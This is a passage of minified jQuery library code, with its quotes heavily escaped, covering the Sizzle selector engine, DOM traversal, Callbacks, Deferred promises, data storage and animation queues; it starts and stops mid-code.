n},(C=ie.selectors={cacheLength:50,createPseudo:se,match:U,attrHandle:{},find:{},relative:{\\\">\\\":{dir:\\\"parentNode\\\",first:!0},\\\" \\\":{dir:\\\"parentNode\\\"},\\\"+\\\":{dir:\\\"previousSibling\\\",first:!0},\\\"~\\\":{dir:\\\"previousSibling\\\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||\\\"\\\").replace(Z,ee),\\\"~=\\\"===e[2]&&(e[3]=\\\" \\\"+e[3]+\\\" \\\"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\\\"nth\\\"===e[1].slice(0,3)?(e[3]||ie.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\\\"even\\\"===e[3]||\\\"odd\\\"===e[3])),e[5]=+(e[7]+e[8]||\\\"odd\\\"===e[3])):e[3]&&ie.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return U.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||\\\"\\\":n&&z.test(n)&&(t=h(n,!0))&&(t=n.indexOf(\\\")\\\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return\\\"*\\\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=p[e+\\\" \\\"];return t||(t=new RegExp(\\\"(^|\\\"+_+\\\")\\\"+e+\\\"(\\\"+_+\\\"|$)\\\"))&&p(e,function(e){return t.test(\\\"string\\\"==typeof e.className&&e.className||void 0!==e.getAttribute&&e.getAttribute(\\\"class\\\")||\\\"\\\")})},ATTR:function(n,o,r){return function(e){var t=ie.attr(e,n);return null==t?\\\"!=\\\"===o:!o||(t+=\\\"\\\",\\\"=\\\"===o?t===r:\\\"!=\\\"===o?t!==r:\\\"^=\\\"===o?r&&0===t.indexOf(r):\\\"*=\\\"===o?r&&-1<t.indexOf(r):\\\"$=\\\"===o?r&&t.slice(-r.length)===r:\\\"~=\\\"===o?-1<(\\\" \\\"+t.replace(j,\\\" \\\")+\\\" \\\").indexOf(r):\\\"|=\\\"===o&&(t===r||t.slice(0,r.length+1)===r+\\\"-\\\"))}},CHILD:function(h,e,t,g,m){var v=\\\"nth\\\"!==h.slice(0,3),w=\\\"last\\\"!==h.slice(-4),y=\\\"of-type\\\"===e;return 1===g&&0===m?function(e){return!!e.parentNode}:function(e,t,n){var o,r,i,l,s,a,c=v!==w?\\\"nextSibling\\\":\\\"previousSibling\\\",u=e.parentNode,d=y&&e.nodeName.toLowerCase(),p=!n&&!y,f=!1;if(u){if(v){for(;c;){for(l=e;l=l[c];)if(y?l.nodeName.toLowerCase()===d:1===l.nodeType)return!1;a=c=\\\"only\\\"===h&&!a&&\\\"nextSibling\\\"}return!0}if(a=[w?u.firstChild:u.lastChild],w&&p){for(i=(l=u)[E]||(l[E]={}),r=i[l.uniqueID]||(i[l.uniqueID]={}),o=r[h]||[],s=o[0]===k&&o[1],f=s&&o[2],l=s&&u.childNodes[s];l=++s&&l&&l[c]||(f=s=0)||a.pop();)if(1===l.nodeType&&++f&&l===e){r[h]=[k,s,f];break}}else if(p&&(i=(l=e)[E]||(l[E]={}),r=i[l.uniqueID]||(i[l.uniqueID]={}),o=r[h]||[],s=o[0]===k&&o[1],f=s),!1===f)for(;(l=++s&&l&&l[c]||(f=s=0)||a.pop())&&((y?l.nodeName.toLowerCase()!==d:1!==l.nodeType)||!++f||(p&&(i=l[E]||(l[E]={}),(r=i[l.uniqueID]||(i[l.uniqueID]={}))[h]=[k,f]),l!==e)););return(f-=m)===g||f%g==0&&0<=f/g}}},PSEUDO:function(e,i){var t,l=C.pseudos[e]||C.setFilters[e.toLowerCase()]||ie.error(\\\"unsupported pseudo: \\\"+e);return l[E]?l(i):1<l.length?(t=[e,e,\\\"\\\",i],C.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,t){for(var n,o=l(e,i),r=o.length;r--;)n=L(e,o[r]),e[n]=!(t[n]=o[r])}):function(e){return l(e,0,t)}):l}},pseudos:{not:se(function(e){var o=[],r=[],s=d(e.replace(V,\\\"$1\\\"));return s[E]?se(function(e,t,n,o){for(var r,i=s(e,null,o,[]),l=e.length;l--;)(r=i[l])&&(e[l]=!(t[l]=r))}):function(e,t,n){return o[0]=e,s(o,null,n,r),o[0]=null,!r.pop()}}),has:se(function(t){return function(e){return 0<ie(t,e).length}}),contains:se(function(t){return t=t.replace(Z,ee),function(e){return-1<(e.textContent||e.innerText||i(e)).indexOf(t)}}),lang:se(function(n){return X.test(n||\\\"\\\")||ie.error(\\\"unsupported lang: \\\"+n),n=n.replace(Z,ee).toLowerCase(),function(e){var t;do{if(t=S?e.lang:e.getAttribute(\\\"xml:lang\\\")||e.getAttribute(\\\"lang\\\"))return(t=t.toLowerCase())===n||0===t.indexOf(n+\\\"-\\\")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===l},focus:function(e){return e===R.activeElement&&(!R.hasFocus||R.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:fe(!1),disabled:fe(!0),checked:function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&!!e.checked||\\\"option\\\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!C.pseudos.empty(e)},header:function(e){return G.test(e.nodeName)},input:function(e){return K.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&\\\"button\\\"===e.type||\\\"button\\\"===t},text:function(e){var t;return\\\"input\\\"===e.nodeName.toLowerCase()&&\\\"text\\\"===e.type&&(null==(t=e.getAttribute(\\\"type\\\"))||\\\"text\\\"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var o=n<0?n+t:n;0<=--o;)e.push(o);return e}),gt:he(function(e,t,n){for(var o=n<0?n+t:n;++o<t;)e.push(o);return e})}}).pseudos.nth=C.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})C.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})C.pseudos[e]=pe(e);function me(){}function ve(e){for(var t=0,n=e.length,o=\\\"\\\";t<n;t++)o+=e[t].value;return o}function we(s,e,t){var a=e.dir,c=e.next,u=c||a,d=t&&\\\"parentNode\\\"===u,p=o++;return e.first?function(e,t,n){for(;e=e[a];)if(1===e.nodeType||d)return s(e,t,n);return!1}:function(e,t,n){var o,r,i,l=[k,p];if(n){for(;e=e[a];)if((1===e.nodeType||d)&&s(e,t,n))return!0}else for(;e=e[a];)if(1===e.nodeType||d)if(i=e[E]||(e[E]={}),r=i[e.uniqueID]||(i[e.uniqueID]={}),c&&c===e.nodeName.toLowerCase())e=e[a]||e;else{if((o=r[u])&&o[0]===k&&o[1]===p)return l[2]=o[2];if((r[u]=l)[2]=s(e,t,n))return!0}return!1}}function ye(r){return 1<r.length?function(e,t,n){for(var o=r.length;o--;)if(!r[o](e,t,n))return!1;return!0}:r[0]}function Ce(e,t,n,o,r){for(var i,l=[],s=0,a=e.length,c=null!=t;s<a;s++)(i=e[s])&&(n&&!n(i,o,r)||(l.push(i),c&&t.push(s)));return l}function be(f,h,g,m,v,e){return m&&!m[E]&&(m=be(m)),v&&!v[E]&&(v=be(v,e)),se(function(e,t,n,o){var r,i,l,s=[],a=[],c=t.length,u=e||function(e,t,n){for(var o=0,r=t.length;o<r;o++)ie(e,t[o],n);return n}(h||\\\"*\\\",n.nodeType?[n]:n,[]),d=!f||!e&&h?u:Ce(u,s,f,n,o),p=g?v||(e?f:c||m)?[]:t:d;if(g&&g(d,p,n,o),m)for(r=Ce(p,a),m(r,[],n,o),i=r.length;i--;)(l=r[i])&&(p[a[i]]=!(d[a[i]]=l));if(e){if(v||f){if(v){for(r=[],i=p.length;i--;)(l=p[i])&&r.push(d[i]=l);v(null,p=[],r,o)}for(i=p.length;i--;)(l=p[i])&&-1<(r=v?L(e,l):s[i])&&(e[r]=!(t[r]=l))}}else p=Ce(p===t?p.splice(c,p.length):p),v?v(null,t,p,o):$.apply(t,p)})}function xe(e){for(var r,t,n,o=e.length,i=C.relative[e[0].type],l=i||C.relative[\\\" \\\"],s=i?1:0,a=we(function(e){return e===r},l,!0),c=we(function(e){return-1<L(r,e)},l,!0),u=[function(e,t,n){var o=!i&&(n||t!==b)||((r=t).nodeType?a(e,t,n):c(e,t,n));return r=null,o}];s<o;s++)if(t=C.relative[e[s].type])u=[we(ye(u),t)];else{if((t=C.filter[e[s].type].apply(null,e[s].matches))[E]){for(n=++s;n<o&&!C.relative[e[n].type];n++);return be(1<s&&ye(u),1<s&&ve(e.slice(0,s-1).concat({value:\\\" \\\"===e[s-2].type?\\\"*\\\":\\\"\\\"})).replace(V,\\\"$1\\\"),t,s<n&&xe(e.slice(s,n)),n<o&&xe(e=e.slice(n)),n<o&&ve(e))}u.push(t)}return ye(u)}return me.prototype=C.filters=C.pseudos,C.setFilters=new me,h=ie.tokenize=function(e,t){var n,o,r,i,l,s,a,c=y[e+\\\" \\\"];if(c)return t?0:c.slice(0);for(l=e,s=[],a=C.preFilter;l;){for(i in n&&!(o=B.exec(l))||(o&&(l=l.slice(o[0].length)||l),s.push(r=[])),n=!1,(o=q.exec(l))&&(n=o.shift(),r.push({value:n,type:o[0].replace(V,\\\" \\\")}),l=l.slice(n.length)),C.filter)!(o=U[i].exec(l))||a[i]&&!(o=a[i](o))||(n=o.shift(),r.push({value:n,type:i,matches:o}),l=l.slice(n.length));if(!n)break}return t?l.length:l?ie.error(e):y(e,s).slice(0)},d=ie.compile=function(e,t){var n,m,v,w,y,o,r=[],i=[],l=T[e+\\\" \\\"];if(!l){for(t||(t=h(e)),n=t.length;n--;)(l=xe(t[n]))[E]?r.push(l):i.push(l);(l=T(e,(m=i,w=0<(v=r).length,y=0<m.length,o=function(e,t,n,o,r){var i,l,s,a=0,c=\\\"0\\\",u=e&&[],d=[],p=b,f=e||y&&C.find.TAG(\\\"*\\\",r),h=k+=null==p?1:Math.random()||.1,g=f.length;for(r&&(b=t===R||t||r);c!==g&&null!=(i=f[c]);c++){if(y&&i){for(l=0,t||i.ownerDocument===R||(x(i),n=!S);s=m[l++];)if(s(i,t||R,n)){o.push(i);break}r&&(k=h)}w&&((i=!s&&i)&&a--,e&&u.push(i))}if(a+=c,w&&c!==a){for(l=0;s=v[l++];)s(u,d,t,n);if(e){if(0<a)for(;c--;)u[c]||d[c]||(d[c]=A.call(o));d=Ce(d)}$.apply(o,d),r&&!e&&0<d.length&&1<a+v.length&&ie.uniqueSort(o)}return r&&(k=h,b=p),u},w?se(o):o))).selector=e}return l},g=ie.select=function(e,t,n,o){var r,i,l,s,a,c=\\\"function\\\"==typeof e&&e,u=!o&&h(e=c.selector||e);if(n=n||[],1===u.length){if(2<(i=u[0]=u[0].slice(0)).length&&\\\"ID\\\"===(l=i[0]).type&&9===t.nodeType&&S&&C.relative[i[1].type]){if(!(t=(C.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(r=U.needsContext.test(e)?0:i.length;r--&&(l=i[r],!C.relative[s=l.type]);)if((a=C.find[s])&&(o=a(l.matches[0].replace(Z,ee),J.test(i[0].type)&&ge(t.parentNode)||t))){if(i.splice(r,1),!(e=o.length&&ve(i)))return $.apply(n,o),n;break}}return(c||d(e,u))(o,t,!S,n,!t||J.test(e)&&ge(t.parentNode)||t),n},f.sortStable=E.split(\\\"\\\").sort(P).join(\\\"\\\")===E,f.detectDuplicates=!!c,x(),f.sortDetached=ae(function(e){return 1&e.compareDocumentPosition(R.createElement(\\\"fieldset\\\"))}),ae(function(e){return e.innerHTML=\\\"<a href='#'></a>\\\",\\\"#\\\"===e.firstChild.getAttribute(\\\"href\\\")})||ce(\\\"type|href|height|width\\\",function(e,t,n){if(!n)return e.getAttribute(t,\\\"type\\\"===t.toLowerCase()?1:2)}),f.attributes&&ae(function(e){return e.innerHTML=\\\"<input/>\\\",e.firstChild.setAttribute(\\\"value\\\",\\\"\\\"),\\\"\\\"===e.firstChild.getAttribute(\\\"value\\\")})||ce(\\\"value\\\",function(e,t,n){if(!n&&\\\"input\\\"===e.nodeName.toLowerCase())return e.defaultValue}),ae(function(e){return null==e.getAttribute(\\\"disabled\\\")})||ce(F,function(e,t,n){var o;if(!n)return!0===e[t]?t.toLowerCase():(o=e.getAttributeNode(t))&&o.specified?o.value:null}),ie}(R);E.find=y,E.expr=y.selectors,E.expr[\\\":\\\"]=E.expr.pseudos,E.uniqueSort=E.unique=y.uniqueSort,E.text=y.getText,E.isXMLDoc=y.isXML,E.contains=y.contains,E.escapeSelector=y.escape;var C=function(e,t,n){for(var o=[],r=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(r&&E(e).is(n))break;o.push(e)}return o},b=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},x=E.expr.match.needsContext;function k(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var T=/^<([a-z][^\\\\/\\\\0>:\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[\\\\x20\\\\t\\\\r\\\\n\\\\f]*\\\\/?>(?:<\\\\/\\\\1>|)$/i,P=/^.[^:#\\\\[\\\\.,]*$/;function D(e,n,o){return E.isFunction(n)?E.grep(e,function(e,t){return!!n.call(e,t,e)!==o}):n.nodeType?E.grep(e,function(e){return e===n!==o}):\\\"string\\\"!=typeof n?E.grep(e,function(e){return-1<r.call(n,e)!==o}):P.test(n)?E.filter(n,e,o):(n=E.filter(n,e),E.grep(e,function(e){return-1<r.call(n,e)!==o&&1===e.nodeType}))}E.filter=function(e,t,n){var o=t[0];return n&&(e=\\\":not(\\\"+e+\\\")\\\"),1===t.length&&1===o.nodeType?E.find.matchesSelector(o,e)?[o]:[]:E.find.matches(e,E.grep(t,function(e){return 1===e.nodeType}))},E.fn.extend({find:function(e){var t,n,o=this.length,r=this;if(\\\"string\\\"!=typeof e)return this.pushStack(E(e).filter(function(){for(t=0;t<o;t++)if(E.contains(r[t],this))return!0}));for(n=this.pushStack([]),t=0;t<o;t++)E.find(e,r[t],n);return 1<o?E.uniqueSort(n):n},filter:function(e){return this.pushStack(D(this,e||[],!1))},not:function(e){return this.pushStack(D(this,e||[],!0))},is:function(e){return!!D(this,\\\"string\\\"==typeof e&&x.test(e)?E(e):e||[],!1).length}});var A,N=/^(?:\\\\s*(<[\\\\w\\\\W]+>)[^>]*|#([\\\\w-]+))$/,$=E.fn.init=function(e,t,n){var o,r;if(!e)return this;if(n=n||A,\\\"string\\\"==typeof e){if(!(o=\\\"<\\\"===e[0]&&\\\">\\\"===e[e.length-1]&&3<=e.length?[null,e,null]:N.exec(e))||!o[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(o[1]){if(t=t instanceof E?t[0]:t,E.merge(this,E.parseHTML(o[1],t&&t.nodeType?t.ownerDocument||t:S,!0)),T.test(o[1])&&E.isPlainObject(t))for(o in t)E.isFunction(this[o])?this[o](t[o]):this.attr(o,t[o]);return this}return(r=S.getElementById(o[2]))&&(this[0]=r,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):E.isFunction(e)?void 0!==n.ready?n.ready(e):e(E):E.makeArray(e,this)};$.prototype=E.fn,A=E(S);var H=/^(?:parents|prev(?:Until|All))/,L={children:!0,contents:!0,next:!0,prev:!0};function F(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}E.fn.extend({has:function(e){var t=E(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(E.contains(this,t[e]))return!0})},closest:function(e,t){var n,o=0,r=this.length,i=[],l=\\\"string\\\"!=typeof e&&E(e);if(!x.test(e))for(;o<r;o++)for(n=this[o];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(l?-1<l.index(n):1===n.nodeType&&E.find.matchesSelector(n,e))){i.push(n);break}return this.pushStack(1<i.length?E.uniqueSort(i):i)},index:function(e){return e?\\\"string\\\"==typeof e?r.call(E(e),this[0]):r.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(E.uniqueSort(E.merge(this.get(),E(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),E.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return C(e,\\\"parentNode\\\")},parentsUntil:function(e,t,n){return C(e,\\\"parentNode\\\",n)},next:function(e){return F(e,\\\"nextSibling\\\")},prev:function(e){return F(e,\\\"previousSibling\\\")},nextAll:function(e){return C(e,\\\"nextSibling\\\")},prevAll:function(e){return C(e,\\\"previousSibling\\\")},nextUntil:function(e,t,n){return C(e,\\\"nextSibling\\\",n)},prevUntil:function(e,t,n){return C(e,\\\"previousSibling\\\",n)},siblings:function(e){return b((e.parentNode||{}).firstChild,e)},children:function(e){return b(e.firstChild)},contents:function(e){return k(e,\\\"iframe\\\")?e.contentDocument:(k(e,\\\"template\\\")&&(e=e.content||e),E.merge([],e.childNodes))}},function(o,r){E.fn[o]=function(e,t){var n=E.map(this,r,e);return\\\"Until\\\"!==o.slice(-5)&&(t=e),t&&\\\"string\\\"==typeof t&&(n=E.filter(t,n)),1<this.length&&(L[o]||E.uniqueSort(n),H.test(o)&&n.reverse()),this.pushStack(n)}});var _=/[^\\\\x20\\\\t\\\\r\\\\n\\\\f]+/g;function I(e){return e}function M(e){throw e}function W(e,t,n,o){var r;try{e&&E.isFunction(r=e.promise)?r.call(e).done(t).fail(n):e&&E.isFunction(r=e.then)?r.call(e,t,n):t.apply(void 0,[e].slice(o))}catch(e){n.apply(void 0,[e])}}E.Callbacks=function(o){var e,n;o=\\\"string\\\"==typeof o?(e=o,n={},E.each(e.match(_)||[],function(e,t){n[t]=!0}),n):E.extend({},o);var r,t,i,l,s=[],a=[],c=-1,u=function(){for(l=l||o.once,i=r=!0;a.length;c=-1)for(t=a.shift();++c<s.length;)!1===s[c].apply(t[0],t[1])&&o.stopOnFalse&&(c=s.length,t=!1);o.memory||(t=!1),r=!1,l&&(s=t?[]:\\\"\\\")},d={add:function(){return s&&(t&&!r&&(c=s.length-1,a.push(t)),function n(e){E.each(e,function(e,t){E.isFunction(t)?o.unique&&d.has(t)||s.push(t):t&&t.length&&\\\"string\\\"!==E.type(t)&&n(t)})}(arguments),t&&!r&&u()),this},remove:function(){return E.each(arguments,function(e,t){for(var n;-1<(n=E.inArray(t,s,n));)s.splice(n,1),n<=c&&c--}),this},has:function(e){return e?-1<E.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return l=a=[],s=t=\\\"\\\",this},disabled:function(){return!s},lock:function(){return l=a=[],t||r||(s=t=\\\"\\\"),this},locked:function(){return!!l},fireWith:function(e,t){return l||(t=[e,(t=t||[]).slice?t.slice():t],a.push(t),r||u()),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!i}};return d},E.extend({Deferred:function(e){var i=[[\\\"notify\\\",\\\"progress\\\",E.Callbacks(\\\"memory\\\"),E.Callbacks(\\\"memory\\\"),2],[\\\"resolve\\\",\\\"done\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),0,\\\"resolved\\\"],[\\\"reject\\\",\\\"fail\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),1,\\\"rejected\\\"]],r=\\\"pending\\\",l={state:function(){return r},always:function(){return s.done(arguments).fail(arguments),this},catch:function(e){return l.then(null,e)},pipe:function(){var r=arguments;return E.Deferred(function(o){E.each(i,function(e,t){var n=E.isFunction(r[t[4]])&&r[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&E.isFunction(e.promise)?e.promise().progress(o.notify).done(o.resolve).fail(o.reject):o[t[0]+\\\"With\\\"](this,n?[e]:arguments)})}),r=null}).promise()},then:function(t,n,o){var a=0;function c(r,i,l,s){return function(){var n=this,o=arguments,e=function(){var e,t;if(!(r<a)){if((e=l.apply(n,o))===i.promise())throw new TypeError(\\\"Thenable self-resolution\\\");t=e&&(\\\"object\\\"==typeof e||\\\"function\\\"==typeof e)&&e.then,E.isFunction(t)?s?t.call(e,c(a,i,I,s),c(a,i,M,s)):(a++,t.call(e,c(a,i,I,s),c(a,i,M,s),c(a,i,I,i.notifyWith))):(l!==I&&(n=void 0,o=[e]),(s||i.resolveWith)(n,o))}},t=s?e:function(){try{e()}catch(e){E.Deferred.exceptionHook&&E.Deferred.exceptionHook(e,t.stackTrace),a<=r+1&&(l!==M&&(n=void 0,o=[e]),i.rejectWith(n,o))}};r?t():(E.Deferred.getStackHook&&(t.stackTrace=E.Deferred.getStackHook()),R.setTimeout(t))}}return E.Deferred(function(e){i[0][3].add(c(0,e,E.isFunction(o)?o:I,e.notifyWith)),i[1][3].add(c(0,e,E.isFunction(t)?t:I)),i[2][3].add(c(0,e,E.isFunction(n)?n:M))}).promise()},promise:function(e){return null!=e?E.extend(e,l):l}},s={};return E.each(i,function(e,t){var n=t[2],o=t[5];l[t[1]]=n.add,o&&n.add(function(){r=o},i[3-e][2].disable,i[0][2].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+\\\"With\\\"](this===s?void 0:this,arguments),this},s[t[0]+\\\"With\\\"]=n.fireWith}),l.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,o=Array(t),r=s.call(arguments),i=E.Deferred(),l=function(t){return function(e){o[t]=this,r[t]=1<arguments.length?s.call(arguments):e,--n||i.resolveWith(o,r)}};if(n<=1&&(W(e,i.done(l(t)).resolve,i.reject,!n),\\\"pending\\\"===i.state()||E.isFunction(r[t]&&r[t].then)))return i.then();for(;t--;)W(r[t],l(t),i.reject);return i.promise()}});var j=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;E.Deferred.exceptionHook=function(e,t){R.console&&R.console.warn&&e&&j.test(e.name)&&R.console.warn(\\\"jQuery.Deferred exception: \\\"+e.message,e.stack,t)},E.readyException=function(e){R.setTimeout(function(){throw e})};var V=E.Deferred();function B(){S.removeEventListener(\\\"DOMContentLoaded\\\",B),R.removeEventListener(\\\"load\\\",B),E.ready()}E.fn.ready=function(e){return V.then(e).catch(function(e){E.readyException(e)}),this},E.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--E.readyWait:E.isReady)||(E.isReady=!0)!==e&&0<--E.readyWait||V.resolveWith(S,[E])}}),E.ready.then=V.then,\\\"complete\\\"===S.readyState||\\\"loading\\\"!==S.readyState&&!S.documentElement.doScroll?R.setTimeout(E.ready):(S.addEventListener(\\\"DOMContentLoaded\\\",B),R.addEventListener(\\\"load\\\",B));var q=function(e,t,n,o,r,i,l){var s=0,a=e.length,c=null==n;if(\\\"object\\\"===E.type(n))for(s in r=!0,n)q(e,t,s,n[s],!0,i,l);else if(void 0!==o&&(r=!0,E.isFunction(o)||(l=!0),c&&(l?(t.call(e,o),t=null):(c=t,t=function(e,t,n){return c.call(E(e),n)})),t))for(;s<a;s++)t(e[s],n,l?o:o.call(e[s],s,t(e[s],n)));return r?e:c?t.call(e):a?t(e[0],n):i},O=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function z(){this.expando=E.expando+z.uid++}z.uid=1,z.prototype={cache:function(e){var t=e[this.expando];return t||(t={},O(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var o,r=this.cache(e);if(\\\"string\\\"==typeof t)r[E.camelCase(t)]=n;else for(o in t)r[E.camelCase(o)]=t[o];return r},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][E.camelCase(t)]},access:function(e,t,n){return void 0===t||t&&\\\"string\\\"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,o=e[this.expando];if(void 0!==o){if(void 0!==t){t=Array.isArray(t)?t.map(E.camelCase):(t=E.camelCase(t))in o?[t]:t.match(_)||[],n=t.length;for(;n--;)delete o[t[n]]}(void 0===t||E.isEmptyObject(o))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!E.isEmptyObject(t)}};var X=new z,U=new z,K=/^(?:\\\\{[\\\\w\\\\W]*\\\\}|\\\\[[\\\\w\\\\W]*\\\\])$/,G=/[A-Z]/g;function Y(e,t,n){var o;if(void 0===n&&1===e.nodeType)if(o=\\\"data-\\\"+t.replace(G,\\\"-$&\\\").toLowerCase(),\\\"string\\\"==typeof(n=e.getAttribute(o))){try{n=function(e){if(\\\"true\\\"===e)return!0;if(\\\"false\\\"===e)return!1;if(\\\"null\\\"===e)return null;if(e===+e+\\\"\\\")return+e;if(K.test(e))return JSON.parse(e);return e}(n)}catch(e){}U.set(e,t,n)}else n=void 0;return n}E.extend({hasData:function(e){return U.hasData(e)||X.hasData(e)},data:function(e,t,n){return U.access(e,t,n)},removeData:function(e,t){U.remove(e,t)},_data:function(e,t,n){return X.access(e,t,n)},_removeData:function(e,t){X.remove(e,t)}}),E.fn.extend({data:function(n,e){var t,o,r,i=this[0],l=i&&i.attributes;if(void 0===n){if(this.length&&(r=U.get(i),1===i.nodeType&&!X.get(i,\\\"hasDataAttrs\\\"))){for(t=l.length;t--;)l[t]&&0===(o=l[t].name).indexOf(\\\"data-\\\")&&(o=E.camelCase(o.slice(5)),Y(i,o,r[o]));X.set(i,\\\"hasDataAttrs\\\",!0)}return r}return\\\"object\\\"==typeof n?this.each(function(){U.set(this,n)}):q(this,function(e){var t;if(i&&void 0===e)return void 0!==(t=U.get(i,n))?t:void 0!==(t=Y(i,n))?t:void 0;this.each(function(){U.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){U.remove(this,e)})}}),E.extend({queue:function(e,t,n){var o;if(e)return t=(t||\\\"fx\\\")+\\\"queue\\\",o=X.get(e,t),n&&(!o||Array.isArray(n)?o=X.access(e,t,E.makeArray(n)):o.push(n)),o||[]},dequeue:function(e,t){t=t||\\\"fx\\\";var n=E.queue(e,t),o=n.length,r=n.shift(),i=E._queueHooks(e,t);\\\"inprogress\\\"===r&&(r=n.shift(),o--),r&&(\\\"fx\\\"===t&&n.unshift(\\\"inprogress\\\"),delete i.stop,r.call(e,function(){E.dequeue(e,t)},i)),!o&&i&&i.empty.fire()},_queueHooks:function(e,t){var n=t+\\\"queueHooks\\\";return X.get(e,n)||X.access(e,n,{empty:E.Callbacks(\\\"once memory\\\").add(function(){X.remove(e,[t+\\\"queue\\\",n])})})}}),E.fn.extend({queue:function(t,n){var e=2;return\\\"string\\\"!=typeof t&&(n=t,t=\\\"fx\\\",e--),arguments.length<e?E.queue(this[0],t):void 0===n?this:this.each(function(){var e=E.queue(this,t,n);E._queueHooks(this,t),\\\"fx\\\"===t&&\\\"inprogress\\\"!==e[0]&&E.dequeue(this,t)})},dequeue:function(e){return this.each(function(){E.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\\\"fx\\\",[])},promise:function(e,t){var n,o=1,r=E.Deferred(),i=this,l=this.length,s=function(){--o||r.resolveWith(i,[i])};for(\\\"string\\\"!=typeof e&&(t=e,e=void 0),e=e||\\\"fx\\\";l--;)(n=X.get(i[l],e+\\\"queueHooks\\\"))&&n.empty&&(o++,n.empty.add(s));return s(),r.promise(t)}});var Q=/[+-]?(?:\\\\d*\\\\.|)\\\\d+(?:[eE][+-]?\\\\d+|)/.source,J=new RegExp(\\\"^(?:([+-])=|)(\\\"+Q+\\\")([a-z%]*)$\\\",\\\"i\\\"),Z=[\\\"Top\\\",\\\"Right\\\",\\\"Bottom\\\",\\\"Left\\\"],ee=function(e,t){return\\\"none\\\"===(e=t||e).style.display||\\\"\\\"===e.style.display&&E.contains(e.ownerDocument,e)&&\\\"none\\\"===E.css(e,\\\"display\\\")},te=function(e,t,n,o){var r,i,l={};for(i in t)l[i]=e.style[i],e.style[i]=t[i];for(i in r=n.apply(e,o||[]),t)e.style[i]=l[i];return r};function ne(e,t,n,o){var r,i=1,l=20,s=o?function(){return o.cur()}:function(){return E.css(e,t,\\\"\\\")},a=s(),c=n&&n[3]||(E.cssNumber[t]?\\\"\\\":\\\"px\\\"),u=(E.cssNumber[t]||\\\"px\\\"!==c&&+a)&&J.exec(E.css(e,t));if(u&&u[3]!==c)for(c=c||u[3],n=n||[],u=+a||1;u/=i=i||\\\".5\\\",E.style(e,t,u+c),i!==(i=s()/a)&&1!==i&&--l;);return n&&(u=+u||+a||0,r=n[1]?u+(n[1]+1)*n[2]:+n[2],o&&(o.unit=c,o.start=u,o.end=r)),r}var oe={};function re(e){var t,n=e.ownerDocument,o=e.nodeName,r=oe[o];return r||(t=n.body.appendChild(n.createElement(o)),r=E.css(t,\\\"display\\\"),t.parentNode.removeChild(t),\\\"none\\\"===r&&(r=\\\"block\\\"),oe[o]=r)}function ie(e,t){for(var 